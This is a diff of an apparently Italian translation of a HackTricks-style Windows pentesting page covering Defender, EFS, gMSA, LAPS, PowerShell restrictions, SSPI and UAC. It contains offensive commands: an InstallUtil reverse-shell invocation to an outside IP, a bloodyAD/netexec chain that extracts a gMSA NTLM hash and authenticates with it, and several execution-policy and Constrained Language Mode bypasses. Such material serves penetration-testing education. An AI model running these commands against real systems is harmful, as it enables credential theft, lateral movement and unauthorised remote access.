+[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender) è un antivirus disponibile in Windows 10 e Windows 11, e in versioni di Windows Server. Blocca tool comuni di pentesting come **`WinPEAS`**. Tuttavia, esistono modi per bypassare queste protezioni.
 
-### Controllo
+### Verifica
 
-Per controllare lo **stato** di **Defender** puoi eseguire il cmdlet PS **`Get-MpComputerStatus`** (controlla il valore di **`RealTimeProtectionEnabled`** per sapere se è attivo):
+Per verificare lo **stato** di **Defender** puoi eseguire il cmdlet PS **`Get-MpComputerStatus`** (controlla il valore di **`RealTimeProtectionEnabled`** per sapere se è attivo):
 
 <pre class="language-powershell"><code class="lang-powershell">PS C:\> Get-MpComputerStatus
 
@@ -103,36 +103,37 @@ sc query windefend
 ```
 ## Encrypted File System (EFS)
 
-EFS protegge i file attraverso la crittografia, utilizzando una **chiave simmetrica** nota come **File Encryption Key (FEK)**. Questa chiave è crittografata con la **chiave pubblica** dell'utente e memorizzata all'interno del $EFS **flusso di dati alternativi** del file crittografato. Quando è necessaria la decrittazione, viene utilizzata la corrispondente **chiave privata** del certificato digitale dell'utente per decrittografare la FEK dal flusso $EFS. Maggiori dettagli possono essere trovati [qui](https://en.wikipedia.org/wiki/Encrypting_File_System).
+EFS protegge i file tramite crittografia, utilizzando una **symmetric key** nota come **File Encryption Key (FEK)**. Questa key viene criptata con la **public key** dell'utente e memorizzata nello $EFS **alternative data stream** del file criptato. Quando è necessaria la decrittazione, la corrispondente **private key** del certificato digitale dell'utente viene usata per decriptare il FEK dallo $EFS stream. More details can be found [here](https://en.wikipedia.org/wiki/Encrypting_File_System).
 
 **Scenari di decrittazione senza iniziativa dell'utente** includono:
 
-- Quando file o cartelle vengono spostati su un file system non EFS, come [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table), vengono automaticamente decrittografati.
-- I file crittografati inviati attraverso la rete tramite il protocollo SMB/CIFS vengono decrittografati prima della trasmissione.
+- Quando file o cartelle vengono spostati su un file system non-EFS, come [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table), vengono automaticamente decrittati.
+- File criptati inviati in rete tramite il protocollo SMB/CIFS vengono decrittati prima della trasmissione.
 
-Questo metodo di crittografia consente un **accesso trasparente** ai file crittografati per il proprietario. Tuttavia, cambiare semplicemente la password del proprietario e accedere non permetterà la decrittazione.
+Questo metodo di crittografia permette un **transparent access** ai file criptati per il proprietario. Tuttavia, semplicemente cambiare la password del proprietario e fare logon non consentirà la decrittazione.
 
-**Punti chiave**:
+### Key Takeaways
 
-- EFS utilizza una FEK simmetrica, crittografata con la chiave pubblica dell'utente.
-- La decrittazione impiega la chiave privata dell'utente per accedere alla FEK.
-- La decrittazione automatica avviene in determinate condizioni, come la copia su FAT32 o la trasmissione in rete.
-- I file crittografati sono accessibili al proprietario senza passaggi aggiuntivi.
+- EFS usa un FEK symmetric, criptato con la public key dell'utente.
+- La decrittazione impiega la private key dell'utente per accedere al FEK.
+- La decrittazione automatica avviene in condizioni specifiche, come la copia su FAT32 o la trasmissione in rete.
+- I file criptati sono accessibili al proprietario senza passaggi aggiuntivi.
 
-### Controlla le informazioni EFS
+### Check EFS info
 
-Controlla se un **utente** ha **utilizzato** questo **servizio** verificando se esiste questo percorso: `C:\users\<username>\appdata\roaming\Microsoft\Protect`
+Verificare se un **user** ha **used** questo **service** controllando se esiste questo percorso:`C:\users\<username>\appdata\roaming\Microsoft\Protect`
 
-Controlla **chi** ha **accesso** al file usando cipher /c \<file>\
-Puoi anche usare `cipher /e` e `cipher /d` all'interno di una cartella per **crittografare** e **decrittografare** tutti i file
+Check **who** has **access** to the file using cipher /c \<file\>  
+You can also use `cipher /e` and `cipher /d` inside a folder to **encrypt** and **decrypt** all the files
 
-### Decrittazione dei file EFS
+### Decrypting EFS files
 
-#### Essere Authority System
+#### Being Authority System
 
-Questo metodo richiede che l'**utente vittima** stia **eseguendo** un **processo** all'interno dell'host. Se è così, utilizzando una sessione `meterpreter` puoi impersonare il token del processo dell'utente (`impersonate_token` da `incognito`). Oppure potresti semplicemente `migrate` al processo dell'utente.
+Questo metodo richiede che la **victim user** stia **running** un **process** sul host. Se è così, usando una sessione `meterpreter` puoi impersonare il token del processo dell'utente (`impersonate_token` from `incognito`). Oppure puoi semplicemente `migrate` al processo dell'utente.
+
+#### Knowing the users password
 
-#### Conoscere la password dell'utente
 
 {{#ref}}
 https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files
@@ -140,29 +141,65 @@ https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files
 
 ## Group Managed Service Accounts (gMSA)
 
-Microsoft ha sviluppato **Group Managed Service Accounts (gMSA)** per semplificare la gestione degli account di servizio nelle infrastrutture IT. A differenza degli account di servizio tradizionali che spesso hanno l'impostazione "**Password never expire**" abilitata, i gMSA offrono una soluzione più sicura e gestibile:
+Microsoft ha sviluppato le **Group Managed Service Accounts (gMSA)** per semplificare la gestione degli account di servizio nelle infrastrutture IT. A differenza degli account di servizio tradizionali che spesso hanno l'opzione "**Password never expire**" abilitata, i gMSA offrono una soluzione più sicura e gestibile:
 
-- **Gestione automatica delle password**: i gMSA utilizzano una password complessa di 240 caratteri che cambia automaticamente in base alla politica del dominio o del computer. Questo processo è gestito dal Key Distribution Service (KDC) di Microsoft, eliminando la necessità di aggiornamenti manuali delle password.
-- **Sicurezza migliorata**: questi account sono immuni ai blocchi e non possono essere utilizzati per accessi interattivi, migliorando la loro sicurezza.
-- **Supporto per più host**: i gMSA possono essere condivisi tra più host, rendendoli ideali per servizi in esecuzione su più server.
-- **Capacità di attività pianificate**: a differenza degli account di servizio gestiti, i gMSA supportano l'esecuzione di attività pianificate.
-- **Gestione semplificata degli SPN**: il sistema aggiorna automaticamente il Service Principal Name (SPN) quando ci sono modifiche ai dettagli sAMaccount del computer o al nome DNS, semplificando la gestione degli SPN.
+- **Automatic Password Management**: i gMSA utilizzano una password complessa di 240 caratteri che cambia automaticamente in base alla policy di dominio o del computer. Questo processo è gestito dal Key Distribution Service (KDC) di Microsoft, eliminando la necessità di aggiornamenti manuali della password.
+- **Enhanced Security**: questi account sono immuni ai lockout e non possono essere utilizzati per interactive logins, aumentando la sicurezza.
+- **Multiple Host Support**: i gMSA possono essere condivisi tra più host, rendendoli ideali per servizi in esecuzione su più server.
+- **Scheduled Task Capability**: a differenza dei managed service accounts, i gMSA supportano l'esecuzione di scheduled tasks.
+- **Simplified SPN Management**: il sistema aggiorna automaticamente lo Service Principal Name (SPN) quando ci sono modifiche ai dettagli sAMaccount del computer o al nome DNS, semplificando la gestione degli SPN.
 
-Le password per i gMSA sono memorizzate nella proprietà LDAP _**msDS-ManagedPassword**_ e vengono automaticamente reimpostate ogni 30 giorni dai Domain Controllers (DC). Questa password, un blob di dati crittografato noto come [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e), può essere recuperata solo da amministratori autorizzati e dai server su cui sono installati i gMSA, garantendo un ambiente sicuro. Per accedere a queste informazioni, è necessaria una connessione sicura come LDAPS, oppure la connessione deve essere autenticata con 'Sealing & Secure'.
+Le password per i gMSA sono memorizzate nella proprietà LDAP _**msDS-ManagedPassword**_ e vengono automaticamente resettate ogni 30 giorni dai Domain Controllers (DCs). Questa password, un blob di dati criptati noto come [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e), può essere recuperata solo dagli amministratori autorizzati e dai server sui quali i gMSA sono installati, garantendo un ambiente sicuro. Per accedere a queste informazioni è richiesta una connessione sicura come LDAPS, oppure la connessione deve essere autenticata con 'Sealing & Secure'.
 
 ![https://cube0x0.github.io/Relaying-for-gMSA/](../../images/asd1.png)
 
-Puoi leggere questa password con [**GMSAPasswordReader**](https://github.com/rvazarkar/GMSAPasswordReader)**:**
+You can read this password with [**GMSAPasswordReader**](https://github.com/rvazarkar/GMSAPasswordReader)**:**
 ```
 /GMSAPasswordReader --AccountName jkohler
 ```
-[**Trova ulteriori informazioni in questo post**](https://cube0x0.github.io/Relaying-for-gMSA/)
+[**Find more info in this post**](https://cube0x0.github.io/Relaying-for-gMSA/)
+
+Inoltre, dai un'occhiata a questa [web page](https://cube0x0.github.io/Relaying-for-gMSA/) su come eseguire un **NTLM relay attack** per **read** la **password** del **gMSA**.
+
+### Abuso della catena ACL per leggere la password gestita di gMSA (GenericAll -> ReadGMSAPassword)
+
+In molti ambienti, utenti a basso privilegio possono pivotare verso i segreti gMSA senza compromettere il DC abusando di ACL di oggetti mal configurati:
+
+- Un gruppo che puoi controllare (es. tramite GenericAll/GenericWrite) riceve `ReadGMSAPassword` su un gMSA.
+- Aggiungendoti a quel gruppo, erediti il diritto di leggere il blob `msDS-ManagedPassword` del gMSA tramite LDAP e derivare credenziali NTLM utilizzabili.
+
+Flusso di lavoro tipico:
+
+1) Scopri il percorso con BloodHound e marca i tuoi foothold principals come Owned. Cerca archi come:
+- GroupA GenericAll -> GroupB; GroupB ReadGMSAPassword -> gMSA
+
+2) Aggiungiti al gruppo intermedio che controlli (esempio con bloodyAD):
+```bash
+bloodyAD --host <DC.FQDN> -d <domain> -u <user> -p <pass> add groupMember <GroupWithReadGmsa> <user>
+```
+3) Leggi la password gestita del gMSA tramite LDAP e ricava l'hash NTLM. NetExec automatizza l'estrazione di `msDS-ManagedPassword` e la conversione in NTLM:
+```bash
+# Shows PrincipalsAllowedToReadPassword and computes NTLM automatically
+netexec ldap <DC.FQDN> -u <user> -p <pass> --gmsa
+# Account: mgtsvc$  NTLM: edac7f05cded0b410232b7466ec47d6f
+```
+4) Autenticarsi come gMSA utilizzando l'hash NTLM (non è necessario plaintext). Se l'account è in Remote Management Users, WinRM funzionerà direttamente:
+```bash
+# SMB / WinRM as the gMSA using the NT hash
+netexec smb   <DC.FQDN> -u 'mgtsvc$' -H <NTLM>
+netexec winrm <DC.FQDN> -u 'mgtsvc$' -H <NTLM>
+```
+Note:
+- Le letture LDAP di `msDS-ManagedPassword` richiedono sealing (es., LDAPS/sign+seal). Gli strumenti gestiscono questo automaticamente.
+- Alle gMSAs vengono spesso concessi diritti locali come WinRM; verifica l'appartenenza ai gruppi (es., Remote Management Users) per pianificare il lateral movement.
+- Se hai bisogno solo del blob per calcolare l'NTLM da solo, vedi la struttura MSDS-MANAGEDPASSWORD_BLOB.
+
 
-Inoltre, controlla questa [pagina web](https://cube0x0.github.io/Relaying-for-gMSA/) su come eseguire un **attacco di relay NTLM** per **leggere** la **password** di **gMSA**.
 
 ## LAPS
 
-La **Local Administrator Password Solution (LAPS)**, disponibile per il download da [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), consente la gestione delle password degli amministratori locali. Queste password, che sono **randomizzate**, uniche e **cambiate regolarmente**, sono memorizzate centralmente in Active Directory. L'accesso a queste password è limitato tramite ACL a utenti autorizzati. Con permessi sufficienti, è fornita la possibilità di leggere le password degli amministratori locali.
+La **Local Administrator Password Solution (LAPS)**, scaricabile da [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), consente la gestione delle password dell'amministratore locale. Queste password, che sono **randomizzate**, uniche e **regolarmente cambiate**, sono archiviate centralmente in Active Directory. L'accesso a queste password è limitato tramite ACLs agli utenti autorizzati. Con permessi sufficienti è possibile leggere le password dell'amministratore locale.
+
 
 {{#ref}}
 ../active-directory-methodology/laps.md
@@ -170,9 +207,9 @@ La **Local Administrator Password Solution (LAPS)**, disponibile per il download
 
 ## PS Constrained Language Mode
 
-PowerShell [**Constrained Language Mode**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **blocca molte delle funzionalità** necessarie per utilizzare PowerShell in modo efficace, come il blocco degli oggetti COM, consentendo solo tipi .NET approvati, flussi di lavoro basati su XAML, classi PowerShell e altro ancora.
+PowerShell [**Constrained Language Mode**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **blocca molte delle funzionalità** necessarie per usare PowerShell efficacemente, come il blocco degli oggetti COM, consentendo solo tipi .NET approvati, workflow basati su XAML, classi PowerShell e altro.
 
-### **Controlla**
+### **Verifica**
 ```bash
 $ExecutionContext.SessionState.LanguageMode
 #Values could be: FullLanguage or ConstrainedLanguage
@@ -182,8 +219,8 @@ $ExecutionContext.SessionState.LanguageMode
 #Easy bypass
 Powershell -version 2
 ```
-In Windows attuali quel bypass non funzionerà, ma puoi usare [ **PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM).\
-**Per compilarlo potresti aver bisogno di** **_Aggiungere un Riferimento_** -> _Sfoglia_ -> _Sfoglia_ -> aggiungi `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` e **cambiare il progetto in .Net4.5**.
+Nei Windows attuali quel Bypass non funzionerà ma puoi usare[ **PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM).\
+**Per compilarlo potresti dover** **di** _**Aggiungere un riferimento**_ -> _Sfoglia_ ->_Sfoglia_ -> aggiungere `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` e **cambiare il progetto a .Net4.5**.
 
 #### Bypass diretto:
 ```bash
@@ -193,11 +230,11 @@ C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogTo
 ```bash
 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.13.206 /rport=443 /U c:\temp\psby.exe
 ```
-Puoi usare [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) o [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) per **eseguire codice Powershell** in qualsiasi processo e bypassare la modalità vincolata. Per ulteriori informazioni controlla: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode).
+Puoi usare [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) o [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) per **eseguire codice Powershell** in qualsiasi processo e bypassare la constrained mode. Per maggiori informazioni vedi: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode).
 
-## PS Execution Policy
+## Politica di esecuzione PS
 
-Per impostazione predefinita è impostato su **restricted.** I principali modi per bypassare questa politica:
+Per impostazione predefinita è impostata su **restricted.** I principali modi per bypassare questa policy:
 ```bash
 1º Just copy and paste inside the interactive PS console
 2º Read en Exec
@@ -217,36 +254,42 @@ Powershell -command "Write-Host 'My voice is my passport, verify me.'"
 9º Use EncodeCommand
 $command = "Write-Host 'My voice is my passport, verify me.'" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand
 ```
-More can be found [here](https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/)
+Maggiori informazioni si trovano [here](https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/)
 
 ## Security Support Provider Interface (SSPI)
 
-È l'API che può essere utilizzata per autenticare gli utenti.
+È l'API che può essere usata per autenticare gli utenti.
 
-L'SSPI sarà responsabile della ricerca del protocollo adeguato per due macchine che vogliono comunicare. Il metodo preferito per questo è Kerberos. Poi l'SSPI negozierà quale protocollo di autenticazione verrà utilizzato, questi protocolli di autenticazione sono chiamati Security Support Provider (SSP), si trovano all'interno di ogni macchina Windows sotto forma di DLL e entrambe le macchine devono supportare lo stesso per poter comunicare.
+Lo SSPI sarà responsabile di trovare il protocollo adeguato per due macchine che vogliono comunicare. Il metodo preferito per questo è Kerberos. Successivamente lo SSPI negozierà quale protocollo di autenticazione verrà usato; questi protocolli di autenticazione sono chiamati Security Support Provider (SSP), sono presenti su ogni macchina Windows sotto forma di DLL e entrambe le macchine devono supportare lo stesso per poter comunicare.
 
-### Main SSPs
+### Principali SSP
 
 - **Kerberos**: Il preferito
 - %windir%\Windows\System32\kerberos.dll
-- **NTLMv1** e **NTLMv2**: Motivi di compatibilità
+- **NTLMv1** e **NTLMv2**: Per motivi di compatibilità
 - %windir%\Windows\System32\msv1_0.dll
-- **Digest**: Server web e LDAP, password sotto forma di hash MD5
+- **Digest**: Web servers e LDAP, password in forma di hash MD5
 - %windir%\Windows\System32\Wdigest.dll
 - **Schannel**: SSL e TLS
 - %windir%\Windows\System32\Schannel.dll
-- **Negotiate**: Viene utilizzato per negoziare il protocollo da utilizzare (Kerberos o NTLM, con Kerberos come predefinito)
+- **Negotiate**: Usato per negoziare il protocollo da usare (Kerberos o NTLM, con Kerberos come predefinito)
 - %windir%\Windows\System32\lsasrv.dll
 
 #### La negoziazione potrebbe offrire diversi metodi o solo uno.
 
 ## UAC - User Account Control
 
-[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) è una funzionalità che abilita un **messaggio di consenso per attività elevate**.
+[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) è una funzionalità che abilita una **richiesta di consenso per attività elevate**.
 
 
 {{#ref}}
 uac-user-account-control.md
 {{#endref}}
 
+## Riferimenti
+
+- [Relaying for gMSA – cube0x0](https://cube0x0.github.io/Relaying-for-gMSA/)
+- [GMSAPasswordReader](https://github.com/rvazarkar/GMSAPasswordReader)
+- [HTB Sendai – 0xdf: gMSA via rights chaining to WinRM](https://0xdf.gitlab.io/2025/08/28/htb-sendai.html)
+
 {{#include ../../banners/hacktricks-training.md}}